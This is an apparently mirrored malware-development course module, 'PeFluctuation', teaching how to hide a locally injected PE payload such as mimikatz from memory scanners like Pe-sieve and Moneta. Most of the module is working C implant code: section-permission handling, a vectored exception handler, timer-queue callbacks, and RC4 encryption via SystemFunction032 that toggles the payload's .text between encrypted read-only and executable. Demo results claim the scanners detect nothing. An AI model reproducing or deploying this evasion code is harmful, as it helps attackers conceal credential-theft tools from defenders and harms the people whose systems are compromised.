MalDev Study
Advanced Module 30advanced7 code files

PeFluctuation

In the previous module, Local PE Injection, the PE payload was executed without implementing memory evasion strategies after running the entry point. This exposed our PE payload...

Jump to Section (13)

Introduction

In the previous module, Local PE Injection, the PE payload was executed without implementing memory evasion strategies after running the entry point. This exposed our PE payload in memory, making it vulnerable to detection by memory scanning tools like Pesieve and Moneta. The images below demonstrate the runtime detection of mimikatz.exe by both of these memory scanning tools.

PeFluctuation figure
PeFluctuation figure

With that being said, this module will introduce a new technique named "PeFluctuation", which is designed to hide a PE file in memory as a means of evading detection by memory scanners.

Note: This module relies heavily on the Local PE Injection module and therefore it's strongly recommended to complete it before advancing to this module.

Memory Scanners Concept

To effectively evade memory scanners, it's important to understand how they operate. Memory scanners typically focus on analyzing the memory permissions of various memory regions within a process. For instance, a memory region that is both readable and executable RX is often deemed more suspicious than one that is readable and writable RW . This distinction is evident in the output produced by Moneta, where it identified the RX memory as a potentially suspicious memory region.

Furthermore, memory scanners perform signature checks to identify patterns associated with known shellcodes. The following image shows various byte patterns of Msfvenom outputs.

PeFluctuation figure

Unfortunately, since memory scanners perform signature checks at runtime, having the payload encrypted or obfuscated cannot bypass such checks since the payload must be in plaintext during execution.

PeFluctuation Concept

When working with executables such as mimikatz.exe, their code typically remains dormant in memory until specific user input is provided to trigger their execution. PeFluctuation takes advantage of this behavior by encrypting the executable code in memory when it's not actively in use. This means that during the idle state when mimikatz.exe is waiting for user input, its code in memory remains encrypted and hidden from memory scanners.

mimikatz.exe's code will only be decrypted when a command is passed, creating a very brief window of opportunity for memory scanners to detect it in memory. The concept behind PeFluctuation draws inspiration from ShellcodeFluctuation, a technique used in modern C2 frameworks like the CobaltStrike Sleep Kit.

The following image shows how PeFluctuation works.

PeFluctuation figure

Prerequisite: Understanding CreateTimerQueueTimer's Role

Before diving into PeFluctuation's implementation, readers should familiarize themselves with the CreateTimerQueueTimer WinAPI function for its major role in the implant. According to Microsoft's documentation, the CreateTimerQueueTimer WinAPI generates a timer-queue timer that, upon expiration, triggers the execution of a callback function. CreateTimerQueueTimer is defined as follows:

DOS
BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,    // A Pointer to a HANDLE variable that will receive a handle to the timer-queue timer when 'Cre
ateTimerQueueTimer' returns.
  [in, optional] HANDLE              TimerQueue,    // 'CreateTimerQueue()' function's return.
  [in]           WAITORTIMERCALLBACK Callback,      // The callback function to execute.
  [in, optional] PVOID               Parameter,     // Parameter to the callback function.
  [in]           DWORD               DueTime,       // The amount of time relative to the current time that must elapse before executing the callba
ck function for the first time.
  [in]           DWORD               Period,        // Set to 0x00.
  [in]           ULONG               Flags          // Set to 0x00 (default).
);

CreateTimerQueueTimer Sample Usage

After the CreateTimerQueueTimer is invoked, the code snippet below will trigger the execution of the HelloWorld timer callback function five seconds later, instead of executing it directly as a normal callback function.

CPP
VOID HelloWorld() {
    printf("[*] Hack The Planet! \n");
}

int main() {

    HANDLE hNewTimer = NULL;

    if (!CreateTimerQueueTimer(&hNewTimer, CreateTimerQueue(), (WAITORTIMERCALLBACK)HelloWorld, NULL, 5000, 0x00, 0x00)) {
        return GetLastError();
    }

  // More code 
}

PeFluctuation Implementation

The steps below explain the stages required to implement PeFluctuation.

1. Before executing the entry point of the PE payload, we set up a Vectored Exception Handler VEH using the AddVectoredExceptionHandler WinAPI. The VEH function

  • is named VectoredExceptionHandler.

2.A function named Rc4EncryptDecrypt is scheduled to run as a timer callback using the CreateTimerQueueTimer WinAPI. This function will be executed once the timer

  • passed to CreateTimerQueueTimer expires.

3. The Rc4EncryptDecrypt function is responsible for encrypting and decrypting the PE payload's memory. Afterward, it adjusts the memory permissions of the payload

  • to read-only RO in the case of encryption, and read-execute RX in the case of decryption. This ensures that the payload appears benign when encrypted but can execute code when decrypted.

4.The entry point of the payload is then executed.

5.Depending on the timer duration, which determines when the Rc4EncryptDecrypt function is called and the PE payload's memory is encrypted, an

  • EXCEPTION_ACCESS_VIOLATION exception may be triggered when interacting with the PE payload before the Rc4EncryptDecrypt function call. This occurs because the memory is marked as read-only and prevents code execution.

6. Any raised EXCEPTION_ACCESS_VIOLATION exceptions are managed by our VEH, VectoredExceptionHandler. This function calls Rc4EncryptDecrypt to decrypt the

  • payload's memory, making it executable again, and then schedules Rc4EncryptDecrypt through CreateTimerQueueTimer to encrypt the memory and mark it as a read- only region.

7. The time between executing CreateTimerQueueTimer and Rc4EncryptDecrypt serves as the payload's window to execute its code before it gets encrypted. 8.The implant will continuously repeat steps 5, 6, and 7 until the process terminates.

Reusing LocalPeExec Functions

Our implementation in this module will make use of functions introduced in the LocalPeExec.exe implant, which was introduced in the Local PE Injection module. We'll be reusing the functions ReadFileFromDisk, InitializePeStruct, FixImportAddressTable, and FixReloc.

Updating The FixMemPermissions Function

However, the FixMemPermissions function will differ from the one used in LocalPeExec.exe. This difference is required because this implementation requires accessing the executable memory region of the payload (i.e. PAGE_EXECUTE_READ) for later use in PeFluctuation. Therefore, the updated version of the FixMemPermissions function will include an additional code snippet designed to find the PAGE_EXECUTE_READ memory region.

Keep in mind that the PAGE_EXECUTE_READ memory region of a PE file is often the .text section of the file. Therefore, the updated FixMemPermissions function assigns the .text section's base address and size to the g_uPeRXAddress and g_sPeRXSize global variables, respectively.

CPP
ULONG_PTR       g_uPeRXAddress      = NULL;     // Represents the base address of the RX memory region of the PE payload
SIZE_T          g_sPeRXSize         = NULL;     // Represents the size of the RX memory region of the PE payload

BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        // Variables to store the new and old memory protections.
        DWORD   dwProtection        = 0x00,
                dwOldProtection      = 0x00;

        // Skip the section if it has no data or no associated virtual address.
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        // Determine memory protection based on section characteristics.
        // These characteristics dictate whether the section is readable, writable, executable, etc.
        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)) {

            // Save RX base address
            if (!g_uPeRXAddress)
                g_uPeRXAddress = pPeBaseAddress + pImgSecHdr[i].VirtualAddress;
            // Save the RX memory size
            if (!g_sPeRXSize)
                g_sPeRXSize = pImgSecHdr[i].SizeOfRawData;

            dwProtection = PAGE_EXECUTE_READ;
        }

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;

        // Apply the determined memory protection to the section.
        if (!VirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
            PRINT_WINAPI_ERR("VirtualProtect");
            return FALSE;
        }
    }

    return TRUE;
}

Updating The InjectLocalPE Function

Furthermore, the InjectLocalPE function has been updated to include a callback function called ObfuscationTimerCallback to be called via CreateTimerQueueTimer before executing the PE payload's entry point. Additionally, InjectLocalPE now registers a VEH function named VectoredExceptionHandler.

Both ObfuscationTimerCallback and VectoredExceptionHandler will be explained in more detail later in the module, but for now, the updated InjectLocalPE function is shown below.

CPP
#define     EXEC_WAIT               1       // 1 Second

BOOL InjectLocalPE(IN PPE_HDRS pPeHdrs) {

    PBYTE           pPeBaseAddress      = NULL;
    PVOID           pEntryPoint         = NULL;
    PVOID           pVeHandler          = NULL;

    // Allocating memory for the PE
    if ((pPeBaseAddress = VirtualAlloc(NULL, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) == NULL) {
        PRINT_WINAPI_ERR("VirtualAlloc");
        return FALSE;
    }

    // Copying the PE's section 
    for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        memcpy(
            (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),
            (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),
            pPeHdrs->pImgSecHdr[i].SizeOfRawData
        );
    }

    // Fixing the IAT 
    if (!FixImportAddressTable(pPeHdrs->pEntryImportDataDir, pPeBaseAddress))
        return FALSE;

    // Applying relocations
    if (!FixReloc(pPeHdrs->pEntryBaseRelocDataDir, pPeBaseAddress, pPeHdrs->pImgNtHdrs->OptionalHeader.ImageBase))
        return FALSE;

    // Setting up suitable memory permissions - 'FixMemPermissions' will fetch the 'g_uPeRXAddress' and 'g_sPeRXSize' global variables
    if (!FixMemPermissions(pPeBaseAddress, pPeHdrs->pImgNtHdrs, pPeHdrs->pImgSecHdr))
        return FALSE;

    printf("[i] Performing PE Fluctuation on: 0x%p [ %ld ]\n", g_uPeRXAddress, g_sPeRXSize);
    if (!g_uPeRXAddress || !g_sPeRXSize)
        return FALSE;

    // Set exception handlers of the injected PE (if exists)
    if (pPeHdrs->pEntryExceptionDataDir->Size) {
        // Retrieve the function table entry
        PIMAGE_RUNTIME_FUNCTION_ENTRY pImgRuntimeFuncEntry = (PIMAGE_RUNTIME_FUNCTION_ENTRY)(pPeBaseAddress + pPeHdrs->pEntryExceptionDataDir->Virt
ualAddress);
        // Register the function table
        if (!RtlAddFunctionTable(pImgRuntimeFuncEntry, (pPeHdrs->pEntryExceptionDataDir->Size / sizeof(IMAGE_RUNTIME_FUNCTION_ENTRY)), pPeBaseAddre
ss)) {
            PRINT_WINAPI_ERR("RtlAddFunctionTable");
        }
    }

    // Register a VEH before executing anything
    if (!(pVeHandler = AddVectoredExceptionHandler(0x01, VectoredExceptionHandler))) {
        PRINT_WINAPI_ERR("AddVectoredExceptionHandler");
        return FALSE;
    }

    // Execute TLS callbacks (if exists)
    if (pPeHdrs->pEntryTLSDataDir->Size) {
        // Retrieve the address of the TLS Directory.
        PIMAGE_TLS_DIRECTORY pImgTlsDirectory = (PIMAGE_TLS_DIRECTORY)(pPeBaseAddress + pPeHdrs->pEntryTLSDataDir->VirtualAddress);
        // Get the address of the TLS Callbacks from the TLS Directory.
        PIMAGE_TLS_CALLBACK* pImgTlsCallback     = (PIMAGE_TLS_CALLBACK*)(pImgTlsDirectory->AddressOfCallBacks);

        // Iterate through and invoke each TLS Callback until a NULL callback is encountered.
        for (int i = 0; pImgTlsCallback[i] != NULL; i++){
            pImgTlsCallback[i]((LPVOID)pPeBaseAddress, DLL_PROCESS_ATTACH, NULL);
        }
    }

    // Calculate PE
    pEntryPoint = (PVOID)(pPeBaseAddress + pPeHdrs->pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);

    // Creates a queue for timers
    if (!(g_hTimerQueue = CreateTimerQueue())) {
        PRINT_WINAPI_ERR("CreateTimerQueue");
        return FALSE;
    }

    // Execute the "ObfuscationTimerCallback" function after "EXEC_WAIT" seconds.
    if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 0x00, 0x00)){
        PRINT_WINAPI_ERR("CreateTimerQueueTimer");
        return FALSE;
    }

    // Will not execute DLL files
    if (pPeHdrs->pImgNtHdrs->FileHeader.Characteristics & IMAGE_FILE_DLL)
        return FALSE;
    else 
        (*(VOID(*)()) pEntryPoint)();
CPP
    return TRUE;
}

Delaying Execution Of ObfuscationTimerCallback

As mentioned earlier, before executing the PE payload's entry point, a callback function named ObfuscationTimerCallback will be executed using the CreateTimerQueueTimer WinAPI. The ObfuscationTimerCallback function is set to run after a delay of EXEC_WAIT seconds from the moment CreateTimerQueueTimer is called, rather than executing immediately upon invocation.

Below, you can find the ObfuscationTimerCallback function, which, in turn, calls another function named Rc4EncryptDecrypt and passes it the g_uPeRXAddress and g_sPeRXSize global variables.

CPP
VOID CALLBACK ObfuscationTimerCallback(IN PVOID lpParameter, IN BOOLEAN TimerOrWaitFired) {

    Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, FALSE);
}

Memory Encryption and Decryption Via Rc4EncryptDecrypt

The Rc4EncryptDecrypt function uses SystemFunction032 to carry out RC4 encryption/decryption on the buffer starting at pBuffer with a size of dwBufferLen. Rc4EncryptDecrypt takes an extra parameter called bDecrypt, which determines whether the function should be used for encryption or decryption. While the RC4 algorithm treats both encryption and decryption processes similarly, Rc4EncryptDecrypt must decide on the memory permissions to set after encrypting or decrypting the specified memory region:

  • If bDecrypt is set to FALSE, Rc4EncryptDecrypt is called for memory encryption at pBuffer. Therefore, it must adjust the memory's permission to PAGE_READONLY afterward to evade detection by memory scanners.
  • If bDecrypt is set to TRUE, Rc4EncryptDecrypt is invoked for memory decryption at pBuffer. In this case, it must configure the memory's permission as PAGE_EXECUTE_READ afterward, allowing execution.

For simplicity, Rc4EncryptDecrypt uses a fixed 16-byte key. Furthermore, it calls the VirtualProtect WinAPI twice: once to enable RC4 encryption/decryption processes and again based on the bDecrypt parameter's value.

CPP
#define     RC4_KEY_SIZE                0x10    // 16 bytes

BOOL Rc4EncryptDecrypt(IN PBYTE pBuffer, IN DWORD dwBufferLen, IN BOOL bDecrypt) {

    NTSTATUS                STATUS                  = NULL;
    BYTE                    Rc4Key[RC4_KEY_SIZE]     = { 0xFF, 0xDD, 0x79, 0x7F, 0x03, 0xA5, 0x87, 0xEF, 0x71, 0x4D, 0xDB, 0x7D, 0xF4, 0x47, 0x77, 
0x01 };
    USTRING                 uStrBuffer              = { .Buffer = pBuffer,  .Length = dwBufferLen,  .MaximumLength = dwBufferLen };
    USTRING                 uStrKey                 = { .Buffer = Rc4Key,   .Length = RC4_KEY_SIZE, .MaximumLength = RC4_KEY_SIZE };
    fnSystemFunction032      SystemFunction032        = (fnSystemFunction032)GetProcAddress(LoadLibrary(TEXT("Advapi32")), "SystemFunction032");
    DWORD                   dwOldProtection          = 0x00;

    if (!pBuffer || !dwBufferLen)
        return FALSE;

    // Change memory permissions to RW to be able to encrypt/decrypt
    if (!VirtualProtect(pBuffer, dwBufferLen, PAGE_READWRITE, &dwOldProtection)) {
        PRINT_WINAPI_ERR("VirtualProtect [1]");
        return FALSE;
    }

    // Encrypt/Decrypt
    if ((STATUS = SystemFunction032(&uStrBuffer, &uStrKey)) != 0x0) {
        printf("[!] SystemFunction032 FAILED With Error: 0x%0.8X \n", STATUS);
        return FALSE;
    }

    // Set memory permissions to RO/RX
    if (!VirtualProtect(pBuffer, dwBufferLen, (bDecrypt == TRUE ? PAGE_EXECUTE_READ : PAGE_READONLY), &dwOldProtection)) {
        PRINT_WINAPI_ERR("VirtualProtect [2]");
        return FALSE;
    }

    return TRUE;
}

When ObfuscationTimerCallback is executed it will encrypt the PE payload's executable memory, then mark it as a read-only memory region, evading both signature and memory permission checks.

The VectoredExceptionHandler Function

During runtime, when there is no interaction with the PE payload, there will be no occurrence of an EXCEPTION_ACCESS_VIOLATION exception. Therefore, the payload will remain encrypted and located within a read-only memory region. However, after the execution of ObfuscationTimerCallback, an EXCEPTION_ACCESS_VIOLATION exception is triggered when interacting with the payload in memory. This is because the implant will attempt to execute non-executable code, resulting in the VectoredExceptionHandler function being executed. Our registered VEH function will handle the raised exception by following the steps below:

1. Determine the source of the raised exception. If it originates within the range from g_uPeRXAddress to g_uPeRXAddress + g_sPeRXSize, it is within the boundaries of

  • our PE payload's memory and should be handled. Otherwise, the VEH function will return EXCEPTION_CONTINUE_SEARCH.

2.Invoke Rc4EncryptDecrypt with a TRUE value for the bDecrypt parameter. This action will decrypt the PE payload's memory and thus mark it as both readable and

  • executable.

3. Call ObfuscationTimerCallback again via CreateTimerQueueTimer. This step re-conceals the PE payload after a period defined by the EXEC_WAIT constant. EXEC_WAIT

  • is a value set by the implant, representing the time elapsed between calling CreateTimerQueueTimer and its callback function.

Below, you can find the implementation of VectoredExceptionHandler.

CPP
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo){

    printf("[!] Exception Raised [!]: \n");
    printf("\t> Code: 0x%0.8X \n", pExceptionInfo->ExceptionRecord->ExceptionCode);
    printf("\t> Address: 0x%p \n", pExceptionInfo->ExceptionRecord->ExceptionAddress);
    printf("\t> State: ");

    // Check the exception code
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {

        // Check the exception address. If the exception address is coming from inside of the RX (.text) memory of the PE, it's handled
        if (pExceptionInfo->ExceptionRecord->ExceptionAddress >= g_uPeRXAddress && pExceptionInfo->ExceptionRecord->ExceptionAddress <= (g_uPeRXAdd
ress + g_sPeRXSize)) {

            DWORD   dwOldProtection     = 0x00;

            printf("[*] HANDLED [*] \n");

            if (!g_hTimerQueue || !g_hTimer)
                goto _FAILURE;

            // Decrypt the data at g_uPeRXAddress, then mark as RX
            if (!Rc4EncryptDecrypt(g_uPeRXAddress, g_sPeRXSize, TRUE))
                goto _FAILURE;

            // Execute the "ObfuscationTimerCallback" function after "EXEC_WAIT" seconds.
            // "ObfuscationTimerCallback" will call "Rc4EncryptDecrypt" which will encrypt the RX memory of the PE and set it to RO
            if (!CreateTimerQueueTimer(&g_hTimer, g_hTimerQueue, (WAITORTIMERCALLBACK)ObfuscationTimerCallback, NULL, EXEC_WAIT * 1000, 0x00, 0x0
0)) {
                PRINT_WINAPI_ERR("CreateTimerQueueTimer");
                goto _FAILURE;
            }

            // Continue execution
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }

    printf("[-] UNHANDLED [-] \n");

_FAILURE:
    return EXCEPTION_CONTINUE_SEARCH;
}

Demo

The demo below shows the mimkatz.exe PE file being executed locally in the PeFluctuation.exe process.

After EXEC_WAIT seconds of executing the entry point, mimikatz's .text section is encrypted and marked as a read-only memory region.

PeFluctuation figure

Interacting with Mimikatz by pressing the enter key will raise an exception, which is handled by decrypting Mimikatz's .text section and marking it as an executable memory region. Note that Process Hacker is still showing that the memory region is read-only because it didn't re-scan the process.

PeFluctuation figure

After EXEC_WAIT seconds from interacting with Mimikatz, it's re-encrypted.

PeFluctuation figure

Pesieve's output detects nothing after running multiple scans with maximum intensity.

PeFluctuation figure

Moneta identifies one IoC related to the absence of a digital signature for PeFluctuation.exe, but there are no findings related to Mimikatz. Note Mimikatz's output, where pressing the Enter key does not always trigger an exception. This behavior occurs because the key press event occurred within the EXEC_WAIT seconds following the previous exception, which is the time before the next encryption routine.

PeFluctuation figure
Diagram

Companion Project & Source Code

7 readable source/config files extracted directly from the archive

Download Module 30 - PeFluctuation.zip
0.5 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>

#define TIMES 3

VOID HelloWorld() {
	printf("[*] Hack The Planet! \n");
}


int main() {

	HANDLE hNewTimer = NULL;

	for (int i = 0; i < TIMES; i++){
		printf("[i] Calling CreateTimerQueueTimer [%d] \n", i);
		if (!CreateTimerQueueTimer(&hNewTimer, CreateTimerQueue(), (WAITORTIMERCALLBACK)HelloWorld, NULL, (i + 1) * 1000, 0x00, 0x00)) {
			return GetLastError();
		}
	}
	
	printf("\n[i] Executing \"HelloWorld\": \n");
	
	Sleep((TIMES + 1) * 1000);
}
Full Archive Manifest (9 files inside .zip)
  • PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.c
  • PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj
  • PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.filters
  • PeFluctuation/CreateTimerQueueTimer/CreateTimerQueueTimer.vcxproj.user
  • PeFluctuation/PeFluctuation.sln
  • PeFluctuation/PeFluctuation/PeFluctuation.vcxproj
  • PeFluctuation/PeFluctuation/PeFluctuation.vcxproj.filters
  • PeFluctuation/PeFluctuation/PeFluctuation.vcxproj.user
  • PeFluctuation/PeFluctuation/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.